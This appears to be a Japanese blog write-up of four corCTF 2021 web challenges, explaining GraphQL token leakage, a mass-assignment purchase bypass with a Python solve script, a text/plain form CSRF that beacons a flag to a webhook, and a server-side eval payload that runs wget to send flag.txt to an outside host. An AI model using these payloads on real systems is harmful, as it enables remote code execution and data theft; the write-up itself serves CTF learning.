st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

corCTF 2021 writeup

8/21 - 8/23という日程で開催された。zer0ptsで参加して12位。激ムズだけど面白い問題ばかりだった。

[Web 323] devme (264 solves)

メールの入力ができるフォームがある。適当なメールアドレスを入力して送信してみると {"query":"mutation createUser($email: String!) {\n\tcreateUser(email: $email) {\n\t\tusername\n\t}\n}\n","variables":{"email":"test@example.com"}} というJSON/graphql というAPIに送られた。GraphQLを使っているらしい。

prisma-labs/get-graphql-schemaでGraphQLスキーマを取得できる。

"""Exposes a URL that specifies the behaviour of this scalar."""
directive @specifiedBy(
  """The URL that specifies the behaviour of this scalar."""
  url: String!
) on SCALAR

type Mutation {
  createUser(email: String!): User
}

type Query {
  users: [User]!
  flag(token: String!): String!
}

type User {
  token: String!
  username: String!
}

以下のようなクエリを送ると、登録されているすべてのユーザのトークンが取得できた。adminトークンは 3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b らしい。

query {
  users {
    token
    username
  }
}

以下のようなクエリを送るとフラグが得られた。

query {
  flag(token: "3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b")
}
corctf{ex_g00g13_3x_fac3b00k_t3ch_l3ad_as_a_s3rvice}

[Web 441] buyme (110 solves)

旗の購入ができるサイトが与えられた。アメリカやイギリスなどの100ドルの旗に加えて corCTF という名前の旗もあるが、その価格は1e+300ドルと高すぎる。ユーザ登録して得られるのは100ドルのみであり、譲渡も旗の売却もできないのでこのままではお金を増やす方法はない。

ユーザの情報は以下のように user (ユーザ名)、flags (所持している旗の一覧)、money (所持金)、pass (ハッシュ化されたパスワード)からなる。

    db.users.set(user, {
        user,
        flags: [],
        money: 100,
        pass: await bcrypt.hash(pass, 12)
    });

旗の購入時には以下のように /api/buy というAPIが叩かれる。よく見ると db.buyFlag に対して引数として渡されるオブジェクトは ...req.body とスプレッド構文を使って作られている。このオブジェクトの user プロパティに格納される req.user 自体は改変できないが、req.body はいくらでも改変できるから、user というパラメータをPOSTするデータに仕込んでやれば user プロパティを置き換えることができる。

router.post("/buy", requiresLogin, async (req, res) => {
    if(!req.body.flag) {
        return res.redirect("/flags?error=" + encodeURIComponent("Missing flag to buy"));
    }

    try {
        db.buyFlag({ user: req.user, ...req.body });
    }
    catch(err) {
        return res.redirect("/flags?error=" + encodeURIComponent(err.message));
    }

    res.redirect("/?message=" + encodeURIComponent("Flag bought successfully"));
});

db.buyFlag は以下のような処理をしている。user プロパティとして渡すオブジェクトには userpriceflag というプロパティを持たせればよさそう。

const buyFlag = ({ flag, user }) => {
    if(!flags.has(flag)) {
        throw new Error("Unknown flag");
    }
    if(user.money < flags.get(flag).price) {
        throw new Error("Not enough money");
    }

    user.money -= flags.get(flag).price;
    user.flags.push(flag);
    users.set(user.user, user);
};

以下のように登録から購入まで自動化するスクリプトを書いて実行するとフラグが得られた。

import requests
import uuid

s = requests.Session()
user = str(uuid.uuid4())
s.post('https://buyme.be.ax/api/register', json={
  'user': user,
  'pass': str(uuid.uuid4())
})
r = s.post('https://buyme.be.ax/api/buy', json={
  'flag': 'corCTF',
  'user': {
    'user': user,
    'money': 1e308,
    'flags': []
  }
})
print(r.text)
print(s.cookies)
$ python3 solve.py | grep cor
                        <img class="card-img-top flag" src="https://ctf.cor.team/assets/img/ctflogo.png" />
                        <h4 class="card-title">corCTF</h4>
                        <h5 class="card-title">corctf{h0w_did_u_steal_my_flags_you_flag_h0arder??!!}</h4>

[Web 469] phpme (64 solves)

与えられたURLにアクセスすると、以下のようなPHPコードが表示された。secret というCookieの値が secret.php から読み込まれたであろう $secret と一致しており、かつPOSTで与えられたJSONyep というプロパティの値が yep yep yep という文字列であれば、フラグをJSONで指定したURLに送信してくれるJavaScriptコードを出力するらしい。

<?php
    include "secret.php";

    // https://stackoverflow.com/a/6041773
    function isJSON($string) {
        json_decode($string);
        return json_last_error() === JSON_ERROR_NONE;
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if(isset($_COOKIE['secret']) && $_COOKIE['secret'] === $secret) {
            // https://stackoverflow.com/a/7084677
            $body = file_get_contents('php://input');
            if(isJSON($body) && is_object(json_decode($body))) {
                $json = json_decode($body, true);
                if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) {
                    echo "<script>\n";
                    echo "    let url = '" . htmlspecialchars($json["url"]) . "';\n";
                    echo "    navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
                    echo "</script>\n";
                }
                else {
                    echo "nope :)";
                }
            }
            else {
                echo "not json bro";
            }
        }
        else {
            echo "ur not admin!!!";
        }
    }
    else {
        show_source(__FILE__);
    }
?>

この問題ではURLを指定するとクロールしてくれるbotも提供されている。そのbotCookieのチェックはなんとかしてくれるから、JSONのチェックは自分でなんとかしろということだろう。

JSONのチェックでは Content-Type ヘッダは確認されない。ということでまず form 要素でキーに {"hoge":"fuga、その値に "} というような文字列を設定して、最終的に {"hoge":"fuga="} のようにJSONとしても解釈できるバイト列が送信されるようにすることを考えた。が、よく考えるとそのまま(application/x-www-form-urlencoded)では {" がパーセントエンコードされてしまう。

実は form 要素の enctype 属性では text/plain も利用できる。これなら {" はパーセントエンコードされないはず。

以下のようなフォームを用意してbotにアクセスさせると、JSONurl プロパティで指定したURLにフラグが飛んできた。

<form action="https://phpme.be.ax/" method="POST" enctype="text/plain" id="form">
  <input id="i">
  <input type="submit">
</form>
<script>
const input = document.getElementById('i');
i.name = '{"yep":"yep yep yep","url":"https://webhook.site/…","hoge":"';
i.value = '"}';
const form = document.getElementById('form');
form.submit();
</script>
corctf{ok_h0pe_y0u_enj0yed_the_1_php_ch4ll_1n_th1s_CTF!!!}

[Web 478] readme (46 solves)

URLを与えてやると、@mozilla/readabilityによってリーダービューで表示してくれるというWebアプリケーションが与えられる。@mozilla/readability によるコンテンツの抽出はサーバサイドで行われている。

ソースコードを読んでいると、以下のようなページ関連の処理に怪しい部分を見つけた。これはjsdomを使って next という文字列をクラス名やテキストに含む a 要素か button 要素について、そのリンク先を取得した、ボタンをクリックしたりして次のページを表示させようとする処理だ。

button 要素の場合は onclick 属性を eval している。やりたいことはわかるが、なぜわざわざサーバサイドで eval しているのだろう。

const loadNextPage = async (dom, socket) => {
    let targets = [
        ...Array.from(dom.window.document.querySelectorAll("a")), 
        ...Array.from(dom.window.document.querySelectorAll("button"))
    ];
    targets = targets.filter(e => (e.textContent + e.className).toLowerCase().includes("next"));

    if(targets.length == 0) return;
    let target = targets[targets.length - 1];
    
    if(target.tagName === "A") {
        let newDom = await refetch(socket, target.href);
        return newDom;
    }
    else if(target.tagName === "BUTTON") {
        dom.window.eval(target.getAttribute("onclick"));
        return dom;
    }

    return;
};

以下のようなHTMLを返すWebサイトを投げるとフラグが得られた。

<button class="next" onclick="process.mainModule.require('child_process').execSync('wget http://webhook.site/…/$(cat flag.txt)')">next</button>
corctf{but_wh3re_w1ll_i_r3ad_my_n0vels_now??????}